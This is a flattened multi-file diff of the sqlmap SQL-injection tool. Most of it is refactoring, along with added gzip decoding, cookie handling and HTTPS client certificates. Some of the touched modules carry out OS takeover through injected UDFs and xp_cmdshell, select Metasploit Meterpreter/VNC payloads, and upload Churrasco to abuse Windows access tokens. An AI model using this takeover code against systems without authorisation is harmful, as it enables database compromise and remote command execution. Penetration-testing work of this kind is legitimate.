miscellaneous.add_option("--eta", dest="eta", action="store_true", miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the " help="Display for each output the "
"estimated time of arrival") "estimated time of arrival")
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use google dork results from specified page number")
miscellaneous.add_option("--update", dest="updateAll", action="store_true", miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version") help="Update sqlmap to the latest stable version")
miscellaneous.add_option("-s", dest="sessionFile",
help="Save and resume all data retrieved "
"on a session file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file") help="Save options on a configuration INI file")

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from ConfigParser import NoSectionError from ConfigParser import NoSectionError
from ConfigParser import ConfigParser from ConfigParser import ConfigParser
@ -33,10 +31,8 @@ from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
config = None config = None
def configFileProxy(section, option, boolean=False, integer=False): def configFileProxy(section, option, boolean=False, integer=False):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration
@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
debugMsg += "ignoring. Skipping to next." debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg) logger.debug(debugMsg)
def configFileParser(configFile): def configFileParser(configFile):
""" """
Parse configuration file and save settings into the configuration Parse configuration file and save settings into the configuration

View File

@ -22,15 +22,10 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from This class defines methods to parse and extract information from
@ -45,7 +40,6 @@ class FingerprintHandler(ContentHandler):
self.__techVersion = None self.__techVersion = None
self.__info = info self.__info = info
def __feedInfo(self, key, value): def __feedInfo(self, key, value):
value = sanitizeStr(value) value = sanitizeStr(value)
@ -61,7 +55,6 @@ class FingerprintHandler(ContentHandler):
for v in value.split("|"): for v in value.split("|"):
self.__info[key].add(v) self.__info[key].add(v)
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "regexp": if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value")) self.__regexp = sanitizeStr(attrs.get("value"))

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
from xml.sax import parse from xml.sax import parse
@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
This function calls a class that parses the input HTTP headers to This function calls a class that parses the input HTTP headers to

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax import parse from xml.sax import parse
@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
class htmlHandler(ContentHandler): class htmlHandler(ContentHandler):
""" """
This class defines methods to parse the input HTML page to This class defines methods to parse the input HTML page to
@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
self.dbms = None self.dbms = None
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "dbms": if name == "dbms":
self.__dbms = attrs.get("value") self.__dbms = attrs.get("value")
@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
self.dbms = self.__dbms self.dbms = self.__dbms
self.__match = None self.__match = None
def htmlParser(page): def htmlParser(page):
""" """
This function calls a class that parses the input HTML page to This function calls a class that parses the input HTML page to

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from xml.sax import parse from xml.sax import parse
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
@ -34,7 +32,6 @@ from lib.core.data import queries
from lib.core.data import paths from lib.core.data import paths
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
class queriesHandler(ContentHandler): class queriesHandler(ContentHandler):
""" """
This class defines methods to parse the default DBMS queries This class defines methods to parse the default DBMS queries
@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
self.__dbms = '' self.__dbms = ''
self.__queries = advancedDict() self.__queries = advancedDict()
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "dbms": if name == "dbms":
data = sanitizeStr(attrs.get("value")) data = sanitizeStr(attrs.get("value"))
@ -150,7 +146,6 @@ class queriesHandler(ContentHandler):
self.__count = sanitizeStr(attrs.get("count")) self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2")) self.__count2 = sanitizeStr(attrs.get("count2"))
def endElement(self, name): def endElement(self, name):
if name == "dbms": if name == "dbms":
queries[self.__dbms] = self.__queries queries[self.__dbms] = self.__queries
@ -209,7 +204,6 @@ class queriesHandler(ContentHandler):
self.__queries.dumpTable = self.__dumpTable self.__queries.dumpTable = self.__dumpTable
def queriesParser(): def queriesParser():
""" """
This function calls a class to parse the default DBMS queries This function calls a class to parse the default DBMS queries

View File

@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import gzip
import os import os
import re import re
import StringIO
import zlib
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
def forgeHeaders(cookie, ua): def forgeHeaders(cookie, ua):
""" """
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
return headers return headers
def parseResponse(page, headers): def parseResponse(page, headers):
""" """
@param page: the page to parse to feed the knowledge base htmlFp @param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return (back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file through the web application) list and absFilePaths (absolute file
paths) set. paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
""" """
if headers: if headers:
@ -73,11 +68,29 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path # Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled. # is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" ) absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
for absFilePathRegExp in absFilePathsRegExp: for absFilePathRegExp in absFilePathsRegExp:
absFilePaths = re.findall(absFilePathRegExp, page, re.I) reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group()
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths: if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath)) kb.absFilePaths.add(os.path.dirname(absFilePath))
def decodePage(page, encoding):
"""
Decode gzip/deflate HTTP response
"""
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
if encoding == 'deflate':
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
data = StringIO.StringIO(zlib.decompress(page, -15))
else:
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
page = data.read()
return page

View File

@ -0,0 +1,12 @@
import httplib
import urllib2
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
def __init__(self, key_file, cert_file):
urllib2.HTTPSHandler.__init__(self)
self.key_file = key_file
self.cert_file = cert_file
def https_open(self, req):
return self.do_open(self.getConnection, req)
def getConnection(self, host):
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)

View File

@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.session import setMatchRatio from lib.core.session import setMatchRatio
def comparison(page, headers=None, getSeqMatcher=False): def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None regExpResults = None
@ -73,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
# If the url is stable and we did not set yet the match ratio and the # If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content # current injected value changes the url page content
if conf.matchRatio == None: if conf.matchRatio is None:
if conf.md5hash != None and ratio > 0.6 and ratio < 1: if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio) logger.debug("setting match ratio to %.3f" % ratio)
conf.matchRatio = ratio conf.matchRatio = ratio
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
logger.debug("setting match ratio to default value 0.900") logger.debug("setting match ratio to default value 0.900")
conf.matchRatio = 0.900 conf.matchRatio = 0.900
if conf.matchRatio != None: if conf.matchRatio is not None:
setMatchRatio() setMatchRatio()
# If it has been requested to return the ratio and not a comparison # If it has been requested to return the ratio and not a comparison
@ -93,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
# hash of the original one # hash of the original one
# NOTE: old implementation, it did not handle automatically the fact # NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.) # that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash != None: #elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page) # return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the # If the url is not stable it returns sequence matcher between the

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import httplib import httplib
import re import re
import socket import socket
@ -33,11 +31,13 @@ import urlparse
import traceback import traceback
from lib.contrib import multipartpost from lib.contrib import multipartpost
from lib.core.common import sanitizeCookie
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse from lib.request.basic import parseResponse
from lib.request.comparison import comparison from lib.request.comparison import comparison
@ -48,12 +48,10 @@ class Connect:
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
""" """
@staticmethod @staticmethod
def __getPageProxy(**kwargs): def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs) return Connect.getPage(**kwargs)
@staticmethod @staticmethod
def getPage(**kwargs): def getPage(**kwargs):
""" """
@ -61,7 +59,7 @@ class Connect:
the target url page content the target url page content
""" """
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0: if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay) time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20") url = kwargs.get('url', conf.url).replace(" ", "%20")
@ -85,23 +83,24 @@ class Connect:
else: else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if silent is True: if silent:
socket.setdefaulttimeout(3) socket.setdefaulttimeout(3)
if direct: if direct:
if "?" in url: if "?" in url:
url, params = url.split("?") url, params = url.split("?")
params = urlencode(params).replace("%%", "%") params = urlencode(params)
url = "%s?%s" % (url, params) url = "%s?%s" % (url, params)
requestMsg += "?%s" % params requestMsg += "?%s" % params
if post:
post = urlencode(post).replace("%%", "%")
elif multipart: elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart) conn = multipartOpener.open(url, multipart)
page = conn.read() page = conn.read()
responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
return page return page
@ -110,7 +109,7 @@ class Connect:
get = conf.parameters["GET"] get = conf.parameters["GET"]
if get: if get:
get = urlencode(get).replace("%%", "%") get = urlencode(get)
url = "%s?%s" % (url, get) url = "%s?%s" % (url, get)
requestMsg += "?%s" % get requestMsg += "?%s" % get
@ -118,18 +117,11 @@ class Connect:
if conf.parameters.has_key("POST") and not post: if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"] post = conf.parameters["POST"]
post = urlencode(post).replace("%%", "%")
requestMsg += " HTTP/1.1" requestMsg += " HTTP/1.1"
if cookie:
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try: try:
# Perform HTTP request # Perform HTTP request
headers = forgeHeaders(cookie, ua) headers = forgeHeaders(sanitizeCookie(cookie), ua)
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req) conn = urllib2.urlopen(req)
@ -141,14 +133,15 @@ class Connect:
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
for _, cookie in enumerate(conf.cj): if not conf.dropSetCookie:
if not cookieStr: for _, cookie in enumerate(conf.cj):
cookieStr = "Cookie: " if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie)
index = cookie.index(" for ") cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index]
cookieStr += "%s; " % cookie[8:index]
if not req.has_header("Cookie") and cookieStr: if not req.has_header("Cookie") and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2] requestHeaders += "\n%s" % cookieStr[:-2]
@ -171,6 +164,9 @@ class Connect:
status = conn.msg status = conn.msg
responseHeaders = conn.info() responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
if e.code == 401: if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP " exceptionMsg = "not authorized, try to provide right HTTP "
@ -208,7 +204,7 @@ class Connect:
return None, None return None, None
if silent is True: if silent:
return None, None return None, None
elif conf.retriesCount < conf.retries: elif conf.retriesCount < conf.retries:
@ -240,7 +236,6 @@ class Connect:
return page, responseHeaders return page, responseHeaders
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False): def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
""" """

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
import time import time
@ -44,7 +42,6 @@ from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time() start = time.time()
@ -67,7 +64,6 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
return value return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
outputs = [] outputs = []
origExpr = None origExpr = None
@ -87,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
else: else:
expressionReplaced = expression.replace(expressionFields, field, 1) expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue == True: if resumeValue:
output = resume(expressionReplaced, payload) output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
@ -105,7 +101,6 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None): def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
""" """
Retrieve the output of a SQL query characted by character taking Retrieve the output of a SQL query characted by character taking
@ -124,15 +119,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilLimitChar = None untilLimitChar = None
untilOrderChar = None untilOrderChar = None
if resumeValue == True: if resumeValue:
output = resume(expression, payload) output = resume(expression, payload)
else: else:
output = None output = None
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output return output
if unpack == False: if not unpack:
return __goInference(payload, expression, charsetType, firstChar, lastChar) return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected: if kb.dbmsDetected:
@ -205,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
elif batch == True: elif batch:
test = "y" test = "y"
else: else:
message = "can the SQL query provided return " message = "can the SQL query provided return "
@ -221,7 +216,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
untilOrderChar = countedExpression.index(" ORDER BY ") untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar] countedExpression = countedExpression[:untilOrderChar]
if resumeValue == True: if resumeValue:
count = resume(countedExpression, payload) count = resume(countedExpression, payload)
if not stopLimit: if not stopLimit:
@ -231,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if count and count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
if batch == True: if batch:
stopLimit = count stopLimit = count
else: else:
message = "the SQL query provided can return " message = "the SQL query provided can return "
@ -314,7 +309,6 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return returnValue return returnValue
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True): def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
""" """
Retrieve the output of a SQL query taking advantage of an inband SQL Retrieve the output of a SQL query taking advantage of an inband SQL
@ -330,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
and expression in kb.resumedQueries[conf.url].keys() and expression in kb.resumedQueries[conf.url].keys()
) )
if condition and resumeValue == True: if condition and resumeValue:
output = resume(expression, None) output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
@ -344,7 +338,6 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
@ -382,7 +375,6 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
return value return value
def goStacked(expression, silent=False): def goStacked(expression, silent=False):
expression = cleanQuery(expression) expression = cleanQuery(expression)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import httplib import httplib
import socket import socket
import urllib import urllib
@ -31,11 +29,9 @@ import urllib2
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
if PYVERSION >= "2.6": if PYVERSION >= "2.6":
import ssl import ssl
class ProxyHTTPConnection(httplib.HTTPConnection): class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443} _ports = {"http" : 80, "https" : 443}
@ -65,7 +61,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
httplib.HTTPConnection.request(self, method, rest, body, headers) httplib.HTTPConnection.request(self, method, rest, body, headers)
def connect(self): def connect(self):
httplib.HTTPConnection.connect(self) httplib.HTTPConnection.connect(self)
@ -91,7 +86,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
if line == "\r\n": if line == "\r\n":
break break
class ProxyHTTPSConnection(ProxyHTTPConnection): class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443 default_port = 443
@ -111,7 +105,6 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file) sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj) self.sock = httplib.FakeSocket(self.sock, sslobj)
class ProxyHTTPHandler(urllib2.HTTPHandler): class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0): def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy self.proxy = proxy
@ -124,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
class ProxyHTTPSHandler(urllib2.HTTPSHandler): class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0): def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy self.proxy = proxy

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -34,7 +32,6 @@ from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell): class Abstraction(UDF, xp_cmdshell):
""" """
This class defines an abstraction layer for OS takeover functionalities This class defines an abstraction layer for OS takeover functionalities
@ -47,7 +44,6 @@ class Abstraction(UDF, xp_cmdshell):
UDF.__init__(self) UDF.__init__(self)
xp_cmdshell.__init__(self) xp_cmdshell.__init__(self)
def __cmdShellCleanup(self): def __cmdShellCleanup(self):
if not conf.cleanup: if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
@ -60,7 +56,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False): def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent=silent) self.udfExecCmd(cmd, silent=silent)
@ -72,7 +67,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd, first=None, last=None): def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd, first, last) return self.udfEvalCmd(cmd, first, last)
@ -84,7 +78,6 @@ class Abstraction(UDF, xp_cmdshell):
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def runCmd(self, cmd): def runCmd(self, cmd):
getOutput = None getOutput = None
@ -105,7 +98,6 @@ class Abstraction(UDF, xp_cmdshell):
if not conf.osShell and not conf.cleanup: if not conf.osShell and not conf.cleanup:
self.__cmdShellCleanup() self.__cmdShellCleanup()
def absOsShell(self): def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
infoMsg = "going to use injected sys_eval and sys_exec " infoMsg = "going to use injected sys_eval and sys_exec "
@ -153,14 +145,13 @@ class Abstraction(UDF, xp_cmdshell):
self.__cmdShellCleanup() self.__cmdShellCleanup()
def initEnv(self, mandatory=True, detailed=False): def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized is True: if self.envInitialized:
return return
self.checkDbmsOs(detailed) self.checkDbmsOs(detailed)
if self.isDba() == False: if not self.isDba():
warnMsg = "the functionality requested might not work because " warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator" warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg) logger.warn(warnMsg)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import re import re
import stat import stat
@ -131,7 +129,6 @@ class Metasploit:
"reverse": "local port number", "reverse": "local port number",
} }
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows": if kb.os == "Windows":
opSys = "windows" opSys = "windows"
@ -177,21 +174,18 @@ class Metasploit:
return choice return choice
def __selectSMBPort(self): def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True): def __selectEncoder(self, encode=True):
if isinstance(encode, str): if isinstance(encode, str):
return encode return encode
elif kb.os == "Windows" and encode is True: elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList) return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True): def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True: if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can abuse Windows " infoMsg += "it is the only payload that can abuse Windows "
infoMsg += "Access Tokens via Meterpreter 'incognito' " infoMsg += "Access Tokens via Meterpreter 'incognito' "
@ -229,7 +223,7 @@ class Metasploit:
warnMsg += "or the Administrator is not logged in" warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg) logger.warn(warnMsg)
if choose == True: if choose:
message = "what do you want to do?\n" message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n" message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n" message += "[2] Fall back to Meterpreter payload (default)\n"
@ -254,7 +248,7 @@ class Metasploit:
break break
elif askChurrasco is False: elif not askChurrasco:
logger.warn("beware that the VNC injection might not work") logger.warn("beware that the VNC injection might not work")
break break
@ -262,7 +256,7 @@ class Metasploit:
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco() uploaded = self.uploadChurrasco()
if uploaded == False: if not uploaded:
warnMsg = "beware that the VNC injection " warnMsg = "beware that the VNC injection "
warnMsg += "might not work" warnMsg += "might not work"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -277,13 +271,11 @@ class Metasploit:
return __payloadStr return __payloadStr
def __selectPort(self): def __selectPort(self):
for connType, connStr in self.__portData.items(): for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType): if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
